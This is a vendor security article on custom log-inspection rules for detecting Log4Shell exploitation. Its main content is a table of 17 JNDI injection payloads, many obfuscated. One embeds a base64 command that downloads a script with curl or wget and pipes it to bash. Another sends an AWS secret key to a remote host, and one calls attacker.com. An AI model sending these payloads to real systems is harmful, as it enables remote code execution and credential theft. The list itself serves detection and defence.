Summary
The following article covers custom Trend Micro Cloud One - Workload Security and Deep Security Log Inspection (LI) rules that may be helped to investigate potential activity associated with the Log4Shell vulnerability (CVE-2021-44228 and CVE-2021-45046).
Trend Micro's mainline protection article can be found here.
A custom LI rule can be created to detect patterns as discovered in the future. Users may follow the steps located at
Define a Log Inspection rule for use in policies - Workload Security | Trend Micro Cloud One™ Documentation and add the following sample patterns in the pattern matching field:
1 | ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MCl8YmFzaA==} |
2 | ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback} |
3 | ${${lower:jn}di:ldap://172.31.39.127:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=} |
4 | ${${l${lower:ow}er:j}ndi:ldap://172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
5 | ${jndi${lower::}ldap:${lower:/}/172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
6 | ${jndi${lower::${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}}ldap:${lower:/}/172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
7 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
8 | ${jndi:ldap://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
9 | ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
10 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
11 | ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
12 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:dn}${lower:s}}://${hostName}.fakehost.local:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
13 | ${${::-j}ndi:rmi://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
14 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:iio}${lower:p}}://${hostName}.fakehost.local:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
15 | ${${lower:jndi}:${lower:rmi}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo} |
16 | ${jndi:ldap://172.31.39.127:1399/path/${env:aws_secret_key}} |
17 | ${${::-j}ndi:rmi://attacker.com/poc} |